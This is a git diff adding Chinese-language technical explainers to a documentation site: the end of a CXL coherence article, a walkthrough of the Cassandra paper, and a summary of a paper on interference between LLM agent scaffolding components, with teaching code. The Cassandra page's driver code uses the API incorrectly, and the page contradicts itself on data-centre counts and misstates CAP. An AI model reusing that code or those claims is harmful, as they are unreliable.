+> **伪共享陷阱**：如果两个变量被编译器放在同一个 64B cache line 里，哪怕逻辑上互不相干——一个进程写 `counter`，另一个进程读 `counter2`，CXL.cache 也会把整行 invalidate。**结果：性能比预期慢 5-10 倍**。
+>
+> 解决：用 `alignas(64)` 或手动 padding 保证写变量和读变量不在同一 cache line。
+
+## 关键数字
+
+| 指标 | 本地 DDR | CXL 2.0 远端 | CXL 3.0 池化 |
+|------|---------|-------------|-------------|
+| 读延迟 | ~100ns | ~300-400ns | ~400-600ns |
+| 写延迟 | ~120ns | ~500-700ns（需 coherence） | ~600-800ns |
+| 带宽（单机） | ~100GB/s | ~50-80GB/s | ~50-80GB/s（跨 switch 减半） |
+| 一致性粒度 | 缓存行（64B） | 缓存行（64B） | 缓存行（64B） |
+| 一致性范围 | 本机 CPU | Host ↔ Device | **Pool-Wide（多 Host）** |
+
+## 还没完全解决的问题
+
+CXL 3.0 pool-wide coherence 在 2024-2026 年间仍存在挑战：
+
+1. **延迟鸿沟**：CXL 远端内存延迟是本地 DDR 的 4-6 倍。如果程序访问模式随机（链表、树），性能可能比预期差很多。
+2. **NUMA 感知**：当前 Linux kernel 对 CXL Pool 的 NUMA 拓扑抽象仍不完善——`numactl` 无法精确控制内存分配到哪个远端设备。
+3. **一致性风暴**：当多个 CPU 写同一个 cache line（伪共享），CXL fabric 上会产生大量 Snoop 请求，成为瓶颈。
+4. **持久性问题**：CXL 内存默认是 volatile（断电丢失），CXL 2.0/3.0 对 Persistent Memory (PMEM) 的支持仍在演进中。
+
+## 延伸阅读
+
+- [CXL 2.0/3.0 规范原文](https://cxl.io/resource-material/) — CXL Consortium 官方规范
+- [CXL.cache 形式化验证论文](https://arxiv.org/abs/2410.15908) — 用 Isabelle 证明了 CXL 一致性协议的性质
+- [CXL-DMSim 模拟器](https://arxiv.org/abs/2411.02282) — gem5 级别的 CXL 仿真平台
+- [The Hitchhiker's Guide to CXL, NVLink-C2C, Infinity Fabric](https://arxiv.org/abs/2410.02814) — 三种主流一致互连横向对比
+- [Cohet: CXL-driven coherent heterogeneous computing](https://arxiv.org/abs/2511.23011) — 基于 CXL 的异构计算框架
diff --git a/src/content/docs/papers/cassandra-eventual-tradeoff.md b/src/content/docs/papers/cassandra-eventual-tradeoff.md
new file mode 100644
index 000000000..b698677b6
--- /dev/null
+++ b/src/content/docs/papers/cassandra-eventual-tradeoff.md
@@ -0,0 +1,294 @@
+---
+title: Cassandra: Eventually Consistent Tradeoffs
+来源: https://www.cs.cornell.edu/projects/ladis2009/papers/lakshman-ladis2009.pdf
+日期: 2026-06-13
+分类: 分布式系统
+子分类: 共识与复制
+provenance: pipeline-v3
+---
+
+# Cassandra: Eventually Consistent Tradeoffs
+
+## 一个日常类比：三家连锁书店的库存系统
+
+想象你住了一个城市，有三家连锁店卖同一本书。
+
+**强一致性模型**（像传统关系数据库）：
+你打电话给书店A问"有货吗"。书店A必须先确认书店B和C的库存都一致了，才告诉你答案。如果B店的电话线断了，A就说不清楚，你的电话就白打了。
+
+**Cassandra的模型**：
+你打电话给A，A说"有"（哪怕它自己还没来得及从B同步最新的库存信息）。电话立刻挂断，你很满意。后来B的库存变了，慢慢同步到A。你偶尔会看到一个"过期"的答案，但电话几乎从不打不通。
+
+这个取舍的核心问题是：**你要的是"每次都准确"，还是"几乎随时能打通电话"？**
+
+---
+
+## 背景：为什么需要 Cassandra
+
+Facebook 在 2007 年左右遇到了一个经典的大规模存储问题：
+
+- 他们有一个 Inbox Search 功能，需要搜数十亿条邮件
+- 每天写入量达到**数百亿次**
+- 用户分布在全球多个数据中心
+- 服务器随时在坏，几百个组件同时故障是常态
+
+传统的关系数据库（MySQL 等）在这种情况下要么扛不住写入量，要么需要复杂的分库分表。Cassandra 的目标很明确：**用廉价机器，扛住海量写入，同时不牺牲可用性。**
+
+它的设计深受 Amazon Dynamo 论文的启发，但做了重要改进。
+
+---
+
+## 核心概念一：CAP 定理下的选择
+
+在分布式系统中，有三个你不能同时得到的东西：
+
+- **C (Consistency)**：所有客户端看到的数据永远一致
+- **A (Availability)**：每个请求都能得到响应
+- **P (Partition tolerance)**：网络分区时系统继续工作
+
+CAP 定理说：三选一，不可能兼得。但更准确的理解是——网络分区在分布式系统中**必然会发生**，所以 P 你必须选。你真正需要决定的是：当分区发生时，选 C 还是选 A。
+
+**Cassandra 选择 A**：在网络分区时，它保证所有节点都能响应读和写，即使这些数据可能不一致。
+
+---
+
+## 核心概念二：一致性级别（Consistency Levels）
+
+Cassandra 最精妙的设计在于：**它允许你在每次请求中自己决定要多少一致性**。这比"要么全部强一致，要么全部最终一致"要灵活得多。
+
+关键参数是 **N（副本数）** 和 **R（读取/写入需要的应答数）**：
+
+- `ONE`：只从一个节点应答就算完成
+- `QUORUM`：超过一半的节点应答才算完成
+- `ALL`：所有节点都应答
+
+**为什么 QUORUM 很重要？**
+
+如果 N=3，R=QUORUM（即2）：
+
+```
+写入流程（W=QUORUM, R=QUORUM）：
+
+  Client
+    │
+    ▼
+  Node A（协调者）
+    ├── 写入副本1 ──→ Node B  （等待确认）
+    ├── 写入副本2 ──→ Node C  （等待确认）
+    └── 写入副本3 ──→ Node D  （不等待）
+
+  B 和 C 应答 → A 告诉 Client "写完了"
+  即使 D 还没收到！
+```
+
+当 R + W > N 时，你就保证了**至少有一个副本是最新的**。这就是用数学方法保证"大多数情况下读到一致数据"，而不需要全局强一致。
+
+---
+
+## 核心概念三：Gossip 协议 + Vector Clocks
+
+Cassandra 节点之间如何知道"谁还活着"？
+
+**Gossip 协议**：每个节点定期随机选几个其他节点，互相交换"我还活着"的消息。如果某个节点连续几次没被选到也没响应，其他节点就知道它可能挂了。
+
+这比"所有人定期检查所有人"（ping 所有节点）效率高得多——在 1000 个节点的集群里，每个节点只需要跟几个邻居聊天。
+
+**Vector Clocks** 用来追踪数据的版本：
+
+```python
+# 伪代码：每个数据项带着版本向量
+version = {
+    "node_A": 5,   # node_A 最后写入时版本号是 5
+    "node_B": 3,   # node_B 最后写入时版本号是 3
+    "node_C": 7    # node_C 最后写入时版本号是 7
+}
+
+# 当 Node B 收到 Node A 的版本为 5 的更新时：
+# 它比较自己本地的 node_A 版本（3）和新来的（5）
+# 发现 5 > 3，说明有新数据需要同步
+# 它更新为 {"node_A": 5, "node_B": 3, "node_C": 7}
+
+# 如果两个节点各自独立写入了同一个 key：
+# 版本A = {"node_A": 6, "node_B": 3, "node_C": 7}
+# 版本B = {"node_A": 5, "node_B": 4, "node_C": 7}
+# 这两个版本无法比较"谁更大"——这就是冲突
+```
+
+Cassandra 对冲突的处理方式很简单：**保留最新的写入（last-write-wins）**，通过客户端设置的 timestamp 来决定。你也可以配置自定义的冲突解决策略。
+
+---
+
+## 核心概念四：分区（Partitioning）与复制（Replication）
+
+Cassandra 用**一致性哈希环（Consistent Hashing Ring）**来管理数据分布：
+
+```
+      ┌─────────────────────────────┐
+     /                               \
+   B                                   A
+  /                                       \
+ |           数据分片区域                     |
+ |   Node B负责这段环 → Node A负责这段环       |
+ |           Node C负责这段环                 |
+  \                                       /
+   C                                   D
+    \                                 /
+      └─────────────────────────────┘
+
+当 Node C 加入时：它接管 C 和 D 之间的区域
+当 Node C 离开时：它的区域自动分配给 D
+只有相邻节点受影响 → 数据迁移量最小
+```
+
+复制因子（Replication Factor）决定每条数据存几份。Facebook 的 Cassandra 集群复制因子通常是 3，数据存在三个数据中心。
+
+---
+
+## 代码示例：Cassandra 的使用
+
+### 示例一：基本的写入与读取
+
+```python
+# 使用 Python 的 cassandra-driver
+from cassandra.cluster import Cluster
+
+# 连接集群
+cluster = Cluster(['node1.example.com', 'node2.example.com'])
+session = cluster.connect('mykeyspace')
+
+# 创建表（Cassandra 的数据模型是"行键 + 列族"）
+session.execute("""
+    CREATE TABLE IF NOT EXISTS user_messages (
+        user_id TEXT,
+        message_id TIMEUUID,
+        content TEXT,
+        PRIMARY KEY (user_id, message_id)
+    ) WITH CLUSTERING ORDER BY (message_id DESC);
+""")
+
+# 写入消息 — 一致性级别设为 ONE
+session.execute(
+    "INSERT INTO user_messages (user_id, message_id, content) "
+    "VALUES (?, ?, ?)",
+    ['user_123', 'now', 'Hello, world!'],
+    consistency_level='ONE'
+)
+
+# 读取消息 — 一致性级别设为 QUORUM
+session.execute(
+    "SELECT * FROM user_messages WHERE user_id = ?",
+    ['user_123'],
+    consistency_level='QUORUM'
+)
+```
+
+### 示例二：超列族（Super Column Family）用于 Inbox Search
+
+这是论文中 Facebook 实际使用的模式。超列族就像"列中的列"：
+
+```python
+# Schema: 每个用户一个 key，关键词作为超列，消息 ID 作为子列
+session.execute("""
+    CREATE TABLE IF NOT EXISTS user_word_index (
+        user_id TEXT,
+        word TEXT,       -- 超列名（如 "hello"）
+        message_id UUID, -- 子列
+        PRIMARY KEY (user_id, word, message_id)
+    ) WITH CLUSTERING ORDER BY (message_id DESC);
+""")
+
+# 用户搜索 "hello"
+# 只需查 user_id = 'user_123' AND word = 'hello'
+# 就能拿到所有包含 "hello" 的消息 ID
+results = session.execute("""
+    SELECT message_id FROM user_word_index
+    WHERE user_id = ? AND word = ?
+    ORDER BY message_id DESC
+    LIMIT 20;
+""", ['user_123', 'hello'])
+
+# 另一个索引：按联系人搜索
+session.execute("""
+    CREATE TABLE IF NOT EXISTS user_contact_index (
+        user_id TEXT,
+        contact_id TEXT,
+        message_id UUID,
+        PRIMARY KEY (user_id, contact_id, message_id)
+    ) WITH CLUSTERING ORDER BY (message_id DESC);
+""")
+```
+
+### 示例三：处理冲突的读取
+
+```python
+# 读取时指定一致性级别
+# 如果 R=ONE，读最快的节点（可能不是最新的）
+# 如果 R=ALL，等所有节点（保证最新，但慢）
+
+# 写入时也可以设置不同的策略
+session.execute(
+    "INSERT INTO user_messages (user_id, message_id, content) "
+    "VALUES (?, ?, ?)",
+    ['user_456', 'now', 'Conflicting write!'],
+    consistency_level='QUORUM'  # 需要多数节点确认
+)
+
+# 读-改-写模式：先读，再改，再写回
+# 注意：这在 Cassandra 中不是原子的！
+# 如果需要原子性，必须用同一个 key
+existing = session.execute(
+    "SELECT content FROM user_messages "
+    "WHERE user_id = ? AND message_id = ?",
+    ['user_456', 'msg_1'],
+    consistency_level='QUORUM'
+)[0]
+
+new_content = existing.content + " [updated]"
+
+session.execute(
+    "UPDATE user_messages SET content = ? "
+    "WHERE user_id = ? AND message_id = ?",
+    [new_content, 'user_456', 'msg_1'],
+    consistency_level='QUORUM'
+)
+```
+
+---
+
+## Cassandra 的关键权衡总结
+
+| 权衡 | 选择 | 代价 |
+|------|------|------|
+| 一致性 vs 可用性 | 偏向可用性（AP） | 可能读到旧数据 |
+| 强一致 vs 最终一致 | 最终一致 + 可调级别 | 应用需要理解"过期数据" |
+| 简单 vs 功能丰富 | 简单 API | 没有 JOIN、没有跨行事务 |
+| 写入性能 vs 读取性能 | 写入极快（写 WAL） | 读可能需要合并多个文件（compaction） |
+
+---
+
+## 论文的实际成果
+
+Facebook 的 Inbox Search 在 Cassandra 上运行的数据：
+
+- 数据量：**50+ TB**
+- 集群规模：**150 节点**
+- 跨两个数据中心（东岸和西岸）
+- 读取延迟中位数：**15.69ms**（搜索）/ **18.27ms**（按联系人搜索）
+- 支持 **2.5 亿用户**的搜索需求
+
+这些数字说明：**最终一致不是"差的一致性"，而是一种工程上极其高效的一致性。**
+
+---
+
+## 延伸阅读
+
+- **Dynamo**（Amazon, 2007）：Cassandra 的设计先驱，论文中多次引用
+- **CAP 定理**（Brewer, 2000）：Eric Brewer 在 PODC 2000 年提出的猜想
+- **PACELC 定理**（Abadi, 2010）：CAP 的扩展——即使没有分区，也要在延迟和一致性之间做权衡
+- **Spanner**（Google, 2012）：选择 C 而非 A 的反面典型案例
+
+---
+
+## 一句话总结
+
+> Cassandra 的设计哲学是：**用最终一致性换取无限可扩展性，用可调的一致性级别换取灵活性。** 它不追求"永远正确"，但保证"几乎永远可用"——而在线上服务中，"几乎永远可用"往往比"永远正确但偶尔不可用"更有价值。
diff --git a/src/content/docs/papers/cci-agent-scaffolding.md b/src/content/docs/papers/cci-agent-scaffolding.md
new file mode 100644
index 000000000..bfd14a471
--- /dev/null
+++ b/src/content/docs/papers/cci-agent-scaffolding.md
@@ -0,0 +1,455 @@
+---
+title: Cross-Component Interference in LLM Agent Scaffolding（LLM Agent 脚手架的跨组件干扰）
+来源: 'Ming Liu, "More Is Not Always Better: Cross-Component Interference in LLM Agent Scaffolding", arXiv:2605.05716, Amazon, 2026'
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：给新手厨师加太多「辅助装备」
+
+想象你教一位新手做一道菜。你可以给他：
+
+- **菜谱分解卡（Planning）**：先把任务拆成「备料 → 下锅 → 调味」
+- **专用工具（Tool Use）**：温度计、计时器、搜索引擎查「这步该几度」
+- **便签本（Memory）**：记录刚才试过的温度和结果
+- **步骤模板（Structured Reasoning）**：强制写「观察 → 推理 → 行动」
+- **复盘环节（Reflection）**：每做完一步就自问「刚才对不对？要不要改？」
+
+直觉上，**装备越全越好**。但厨房台面就那么大，新手注意力也有限——五样东西同时占着台面，他反而可能：
+
+- 一边读分解卡，一边翻便签，**忘了看锅**
+- 复盘写太长，**挤掉真正该执行的步骤**
+- 工具说明书和模板格式占满视野，**搜索到的关键信息被淹没**
+
+论文 *More Is Not Always Better*（Liu, arXiv:2605.05716）把 LLM Agent 领域长期默认的「脚手架堆叠 = 更强 Agent」推上实验台，发现类似现象：**Cross-Component Interference（CCI，跨组件干扰）**——单独看每个组件都「合理」，组合在一起却可能**负边际收益**，全配齐的 All-In Agent 反而输给更小的子集。
+
+---
+
+## 是什么
+
+**LLM Agent 脚手架（scaffolding）** 指围绕基础大模型加的一层「能力包装」：规划、工具调用、记忆、结构化推理、自我反思等。LangChain 一类框架鼓励自由组合，但很少系统回答：**该开哪几个开关？**
+
+**Cross-Component Interference（CCI）** 是论文的操作性定义：对配置 \(C\) 和不在其中的组件 \(s\)，若
+
+\[
+\phi(C \cup \{s\}) < \phi(C)
+\]
+
+即「加上 \(s\) 后任务指标 \(\phi\) 下降」，则称发生 CCI。这里 \(\phi\) 可以是 HotpotQA 的 token-level \(F_1\)，或 GSM8K 的 exact-match 准确率。
+
+论文在五类标准组件上做 **全因子实验（full factorial design）**：
+
+| 符号 | 组件 | 作用（简化） |
+|------|------|----------------|
+| **P** | Planning | 系统级指令：把任务分解为子目标 |
+| **T** | Tool Use | 函数调用接口 + 工具描述 |
+| **M** | Memory | 跨步持久化的工作记忆 |
+| **SR** | Structured Reasoning | Chain-of-Thought 式格式约束 |
+| **R** | Reflection | 每步后的自我评估提示 |
+
+共 \(2^5 = 32\) 种配置；在 HotpotQA（多跳检索 QA）与 GSM8K（数学推理）上，对 Llama-3.1-8B/70B、Qwen2.5-3B/7B、Claude Haiku 4.5 等模型做了 **118 个受控配置、32,000+ 次评测**。
+
+---
+
+## 为什么重要
+
+### 1. 行业默认可能是错的
+
+很多 Agent 模板默认「Planning + Tools + Memory + CoT + Reflection 全开」。论文在**每一个测试设定**里发现：**最优配置都是 All-In 的真子集**，五件套从未夺冠。
+
+### 2. 「少即是多」不是 universal law
+
+CCI 不是简单的「组件越少越好」：
+
+- HotpotQA @ 8B：最优 \(k^* = 1\)，**只用 Tool Use** 最好
+- GSM8K @ 8B：最优 \(k^* = 3\)，**T + SR + R** 组合最好
+- 70B @ HotpotQA：在 8B 上「加组件就亏」的方向**部分反转**，但 All-In 仍输给最佳子集约 19%
+
+### 3. 与模型能力耦合（capability gradient）
+
+| 规模 | HotpotQA 上「最佳子集 vs All-In」差距（量级） |
+|------|-----------------------------------------------|
+| 8B | ~32%（T alone \(F_1=0.233\) vs All-In \(0.177\)，\(p=0.023\)） |
+| 70B | ~19%（最佳子集 \(F_1=0.441\) vs All-In \(0.372\)） |
+| Claude Haiku 4.5 | ~0%（32 种配置挤在窄区间内，但 All-In 仍非最优） |
+
+**在 frontier 模型 demo 里「全开也没事」的结论，不能直接下放到 8B–14B 部署模型**——小模型协调容量更紧，CCI 更狠。
+
+### 4. 贪心选组件会翻车
+
+183/325 个可测三元组违反**次模性（submodularity）**（56.3%），中位次模比 \(\gamma_{med}=0.52\)。意味着：**单独有害的分量，放进特定组合里可能变有益**——「一个一个加直到不涨」的贪心策略不可靠。
+
+---
+
+## 核心概念
+
+### 1. 配置与性能函数
+
+- 配置 \(C \subseteq \{P, T, M, SR, R\}\)，\(K = |C|\)
+- 性能 \(\phi(C)\)：同一 benchmark、同一模型、同一 prompt 模板下的指标
+- **All-In**：\(C = \{P, T, M, SR, R\}\)，\(K=5\)
+
+### 2. 最优组件数 \(k^*\)
+
+\[
+k^* = \arg\max_{K} \max_{|C|=K} \phi(C)
+\]
+
+任务决定 \(k^*\) 落在 1–4 之间，没有 universal 常数。
+
+### 3. 机制直觉：共享单一「工作台」——上下文窗口
+
+五个组件并不运行在五个独立进程里；它们都往**同一段 context** 里塞 token：
+
+- Planning 轨迹
+- 工具 schema 与返回
+- Memory 条目
+- CoT 格式要求
+- Reflection 笔记
+
+这与 **attention dilution（注意力稀释）**、**instruction interference（指令干扰）** 文献一致：约束越多，模型越难把容量留给「真正解题」的 token。论文的主效应回归 \(R^2=0.916\)，**优于** 16 参数 pairwise 交互模型（\(\Delta\text{BIC}=25.3\)），说明多数伤害来自**各组件独立的上下文成本**，而非某一对「天生相克」——尽管高阶三体协同（T+SR+R 在检索任务上）确实存在。
+
+### 4. Shapley 分解：谁贡献、谁拖后腿
+
+在 HotpotQA @ 8B 上精确计算 Shapley 值（32 个联盟全覆盖）：
+
+| 组件 | Shapley 直觉 | 论文结论（量级） |
+|------|--------------|------------------|
+| **Tool Use (T)** | 脚手架价值的绝对主力 | 约占 scaffold 总价值的 **70%**（\(\phi \approx +0.177\)） |
+| **Planning (P)** | 常帮倒忙 | **显著为负**；在 84% CCI 任务上添加 P 降分 |
+| **Memory (M)** | 检索 QA 上偏负 | 约 68% 任务上添加 M 降分 |
+| **SR / R** | 任务依赖 | 数学（GSM8K）上 SR+R 与 T 协同；纯检索上可能增噪 |
+
+**没有 T 的配置**：HotpotQA @ 8B 上 \(F_1\) 均值约 **0.043**；有 T 的配置均值约 **0.204**——工具接口是「能不能做题」的分水岭，其余组件是在「会不会被互相拖累」。
+
+### 5. 三体协同（ exploratory ）
+
+Harsanyi 三阶交互 **T + SR + R** 在检索任务上有正残差（\(\text{INT}_3 \approx +0.175\)，BCa 95% CI 下界略大于 0），说明**高阶组合效应真实存在**，不能从 pairwise 完全还原——但论文也强调该发现待更多 seed 确认。
+
+---
+
+## 关键实验数字（零基础版速查）
+
+### HotpotQA，Llama-3.1-8B，10 seeds
+
+| 配置 | 组件数 \(K\) | Mean \(F_1\) | 相对 T alone |
+|------|-------------|--------------|--------------|
+| **T** | 1 | **0.233 ± 0.039** | 基线 |
+| T+SR+R | 3 | 0.220 ± 0.027 | 略低 |
+| All-In | 5 | **0.177 ± 0.049** | **低 32%**（\(p=0.023\)，\(d_z=0.87\)） |
+
+从 T 出发的 6 种扩展里，**5/6 在 \(p<0.05\) 显著变差**（4/6 经 Holm–Bonferroni 校正仍显著）。
+
+### GSM8K，Llama-3.1-8B
+
+| 配置 | 准确率 | 备注 |
+|------|--------|------|
+| **T + SR + R**（\(k^*=3\)） | **~0.43** | 最优子集 |
+| All-In | ~0.24 | 比最优低 **~79%**（\(p=0.010\)） |
+
+数学推理需要格式（SR）与纠错（R），但 **Planning + Memory 全开仍可能过噪**。
+
+---
+
+## 代码示例 1：用位掩码枚举 32 种脚手架配置
+
+论文的核心实验设计是 **全因子 sweep**。下面用 Python 教学骨架展示：如何用 bitmask 生成配置、跑 benchmark、检测 CCI。
+
+```python
+from dataclasses import dataclass
+from itertools import combinations
+from typing import Callable
+
+# 五类组件与 LangChain / 自研 Agent 里的 prompt 块一一对应
+COMPONENTS = {
+    "P":  "planning",           # 子目标分解指令
+    "T":  "tool_use",           # 工具 schema + 调用循环
+    "M":  "memory",             # 跨步 observation 缓存
+    "SR": "structured_reasoning",  # CoT 格式
+    "R":  "reflection",         # 每步 self-critique
+}
+MASK = {name: 1 << i for i, name in enumerate(COMPONENTS)}
+
+
+@dataclass(frozen=True)
+class ScaffoldConfig:
+    mask: int
+
+    def has(self, key: str) -> bool:
+        return bool(self.mask & MASK[key])
+
+    def with_component(self, key: str) -> "ScaffoldConfig":
+        return ScaffoldConfig(self.mask | MASK[key])
+
+    def active(self) -> frozenset[str]:
+        return frozenset(k for k in COMPONENTS if self.has(k))
+
+    def __repr__(self) -> str:
+        parts = [k for k in COMPONENTS if self.has(k)]
+        return "+".join(parts) if parts else "Baseline"
+
+
+def all_configs() -> list[ScaffoldConfig]:
+    """论文中的 2^5 = 32 种配置。"""
+    return [ScaffoldConfig(m) for m in range(32)]
+
+
+def build_prompt_blocks(cfg: ScaffoldConfig) -> dict[str, str]:
+    """每个组件映射到一段 system / tool / post-step 文本。"""
+    blocks: dict[str, str] = {}
+    if cfg.has("P"):
+        blocks["planning"] = "先把问题分解为 2-4 个子目标，再逐步解决。"
+    if cfg.has("T"):
+        blocks["tools"] = "你可以调用 search(query) 检索 Wikipedia。"
+    if cfg.has("M"):
+        blocks["memory"] = "把每步 observation 写入 WORKING_MEMORY。"
+    if cfg.has("SR"):
+        blocks["cot"] = "每步按 Observation / Thought / Action 格式输出。"
+    if cfg.has("R"):
+        blocks["reflect"] = "每步结束后评估上一步是否正确。"
+    return blocks
+
+
+def detect_cci(
+    scores: dict[ScaffoldConfig, float],
+) -> list[tuple[ScaffoldConfig, str, float]]:
+    """
+    返回所有 (C, s) 满足 phi(C∪{s}) < phi(C) 的 CCI 实例。
+    scores: 配置 -> HotpotQA F1 或 GSM8K accuracy
+    """
+    violations = []
+    for cfg in all_configs():
+        base = scores.get(cfg)
+        if base is None:
+            continue
+        for key in COMPONENTS:
+            if cfg.has(key):
+                continue
+            expanded = cfg.with_component(key)
+            new = scores.get(expanded)
+            if new is not None and new < base:
+                delta = new - base
+                violations.append((cfg, key, delta))
+    return violations
+
+
+def run_factorial_experiment(
+    evaluate: Callable[[ScaffoldConfig], float],
+) -> dict[ScaffoldConfig, float]:
+    """对 32 种配置各跑 evaluate，复现论文 sweep 结构。"""
+    return {cfg: evaluate(cfg) for cfg in all_configs()}
+
+
+# --- 用法示意 ---
+# scores = run_factorial_experiment(lambda c: hotpotqa_f1(build_agent(c), n=100))
+# for cfg, comp, delta in sorted(detect_cci(scores), key=lambda x: x[2]):
+#     print(f"CCI: {cfg} + {comp} -> {delta:+.3f}")
+```
+
+**读代码时注意**：
+
+- `ScaffoldConfig` 与论文 coalition \(C\) 同构；`detect_cci` 直接实现 Definition 1。
+- 真实实验还要固定 **model、temperature、max steps、benchmark split**；论文用 temperature=0.1，每题最多 4 步，每步最多 256 new tokens。
+- 若只测 All-In vs T，会**漏掉** \(k^*=3\) 这类中间最优——全因子设计的价值正在于不遗漏交互结构。
+
+---
+
+## 代码示例 2：按任务选择脚手架子集（替代 All-In 默认）
+
+下面展示一个**任务感知**的 scaffold 选择器：先根据任务类型给出 prior，再用验证集上的少量样本做 subset search——对应论文建议的 *interaction-aware subset selection*。
+
+```python
+from dataclasses import dataclass
+
+
+@dataclass
+class TaskProfile:
+    name: str
+    needs_tools: bool
+    needs_math_format: bool
+    needs_multi_hop: bool
+
+
+# 论文经验先验：HotpotQA 偏检索，GSM8K 偏推理+反思
+TASK_PRIORS: dict[str, set[str]] = {
+    "hotpotqa": {"T"},                    # k*=1 @ 8B
+    "gsm8k":    {"T", "SR", "R"},         # k*=3 @ 8B
+}
+
+
+def scaffold_score(
+    active: set[str],
+    profile: TaskProfile,
+    val_metric: float,
+) -> float:
+    """
+    综合验证集指标与复杂度惩罚。
+    val_metric: 在 held-out 100 题上的 F1 或 accuracy
+    """
+    complexity_penalty = 0.02 * len(active)  # 每多一个组件，略罚过拟合/上下文成本
+    missing_tool = profile.needs_tools and "T" not in active
+    if missing_tool:
+        return -1.0
+    return val_metric - complexity_penalty
+
+
+def best_subset_search(
+    profile: TaskProfile,
+    evaluate_subset: callable,
+    candidates: list[set[str]] | None = None,
+) -> set[str]:
+    """
+    evaluate_subset(active_components) -> float
+    candidates 默认从 TASK_PRIORS 出发，再尝试增删分量。
+    """
+    if candidates is None:
+        base = set(TASK_PRIORS.get(profile.name, {"T"}))
+        keys = ["P", "T", "M", "SR", "R"]
+        candidates = [base]
+        # 尝试 base 的单点增删（教学版；论文用完整 32 格 + Shapley）
+        for k in keys:
+            candidates.append(base | {k})
+            candidates.append(base - {k})
+        candidates.append(set(keys))  # All-In，用于对照而非默认
+
+    best_active: set[str] = {"T"}
+    best_score = -1.0
+    for active in candidates:
+        if profile.needs_tools and "T" not in active:
+            continue
+        metric = evaluate_subset(frozenset(active))
+        score = scaffold_score(active, profile, metric)
+        if score > best_score:
+            best_score = score
+            best_active = set(active)
+    return best_active
+
+
+class AgentRunner:
+    """把选中的组件真正拼进 prompt / loop。"""
+
+    def __init__(self, active: set[str], llm, tools):
+        self.active = active
+        self.llm = llm
+        self.tools = tools
+
+    def run_episode(self, question: str, max_steps: int = 4) -> str:
+        memory: list[str] = []
+        state = question
+
+        for step in range(max_steps):
+            messages = [state]
+
+            if "P" in self.active and step == 0:
+                messages.insert(0, "Planning: 列出子目标。")
+            if "M" in self.active and memory:
+                messages.append("Memory:\n" + "\n".join(memory[-5:]))
+            if "SR" in self.active:
+                messages.append("按 Observation/Thought/Action 输出。")
+
+            if "T" in self.active:
+                action = self.llm.act_with_tools(messages, self.tools)
+            else:
+                action = self.llm.complete(messages)
+
+            obs = self.tools.execute(action) if "T" in self.active else ""
+            if "M" in self.active:
+                memory.append(f"step={step} obs={obs[:200]}")
+
+            if "R" in self.active:
+                critique = self.llm.complete(f"评估上一步: {action}\n{obs}")
+                messages.append(f"Reflection: {critique}")
+
+            state = f"{state}\n{action}\n{obs}"
+            if self._is_final(action):
+                break
+        return self._extract_answer(state)
+
+    def _is_final(self, action: str) -> bool:
+        return "FINAL_ANSWER" in action
+
+    def _extract_answer(self, state: str) -> str:
+        return state.split("FINAL_ANSWER:")[-1].strip()
+
+
+# --- 部署伪代码 ---
+# profile = TaskProfile("hotpotqa", needs_tools=True, needs_math_format=False, needs_multi_hop=True)
+# best = best_subset_search(profile, lambda s: dev_f1(AgentRunner(s, llm, tools)))
+# assert best != {"P","T","M","SR","R"}, "论文：All-In 几乎从不最优"
+```
+
+**工程启示**：
+
+1. **不要把 LangChain 默认模板当最优解**——先用小验证集 sweep 或至少对照 `T` vs All-In。
+2. **HotpotQA 类检索任务 @ 小模型**：优先试 **仅 Tool Use**；Planning/Memory 可能是负贡献。
+3. **GSM8K 类数学 @ 小模型**：试 **T+SR+R**，而非五件套。
+4. 模型变大后 CCI **减弱但不消失**——仍应选 best subset，只是差距缩小。
+5. 与 Microsoft Research 提出的 **tool-space interference**（工具名冲突、工具过多）是相邻问题：CCI 管「prompt 组件」，tool-space 管「MCP 工具生态」——两者都会让小模型「装太多」。
+
+---
+
+## 实验协议细节（复现时必读）
+
+| 维度 | 论文设定 |
+|------|----------|
+| 模型 | Llama-3.1-8B/70B-Instruct（70B 用 4-bit NF4）、Qwen2.5-3B/7B、Claude Haiku 4.5 |
+| Benchmark | HotpotQA（\(F_1\)）、GSM8K（exact match） |
+| 每配置题量 | 100 题；关键配置 10 seeds × 100 题 |
+| 推理步数 | 最多 4 steps |
+| 采样 | temperature=0.1, top-p=0.9, max 256 new tokens/step |
+| 统计 | paired t-test + Wilcoxon；报告 Cohen's \(d_z\)；Bayesian BF\(_{10}\) |
+
+**稳健性**：换 prompt  paraphrase 三种变体，All-In 仍非最优；换 Qwen 家族，CCI 方向复现；长度匹配对照表明差距不是简单「context 变长」 artifact（差距仍达 6–9×）。
+
+---
+
+## 与相关工作的关系
+
+| 方向 | 代表工作 | 与 CCI 论文的差异 |
+|------|----------|-------------------|
+| 单组件展示 | ReAct, Reflexion, Voyager | 证明「某组件有用」，未系统测 **组合** |
+| 消融 | 常见 one-at-a-time ablation | 看不到 **高阶交互** 与次模违反 |
+| Prompt 干扰 | instruction interference, paradoxical interference | 多为 **成对** 目标冲突；CCI 给出 **32 格全景观** |
+| 组件回归 | Lauziere et al. 2026 pairwise 模型 | 同模型类；本文主效应更 parsimonious，并算 Shapley / Harsanyi |
+| 工具生态 | Microsoft tool-space interference | MCP 工具过多、重名；CCI 管 **脚手架 prompt 块** |
+
+同一时期还有 *When Does Memory Help Multi-Trajectory Inference for Tool-Use LLM Agents?*（Li & Tao, arXiv:2605.28224）从 **记忆 × 搜索策略** 二维分解记忆收益——与 CCI **正交**：CCI 问「开哪些组件」，记忆论文问「在已开组件下，记忆怎么传、传什么抽象」。
+
+---
+
+## 实践 checklist（给 Agent 开发者）
+
+1. **建立 baseline 网格**：至少跑 `{T}`, `{T,SR,R}`, All-In 三种，而不是只跑 demo 最炫的全套。
+2. **按任务选 \(k^*\)**：检索 QA 倾向少组件；符号推理倾向 T+SR(+R)。
+3. **按模型规模调整预期**：8B 上 CCI 大，70B 上可适度加组件，但 **All-In 仍 rarely optimal**。
+4. **慎用 Planning + Memory 叠在小模型检索 Agent 上**：Shapley 与 disrupt 比例都指向负贡献。
+5. **别贪心堆组件**：56% 次模违反 → 用验证集 **subset search** 或 Shapley 指导，而非「有用就加」。
+6. **监控 context 构成**：每组件增加了多少 token？主效应模型暗示这是主要伤害机制。
+7. **记录配置向量**：生产日志里保存 `{P,T,M,SR,R}`  bitmask，方便 offline 复现 factorial 分析。
+
+---
+
+## 局限与开放问题
+
+- **五个组件** 覆盖主流 taxonomy，但不含 multi-agent、code interpreter、RAG 管线粒度等。
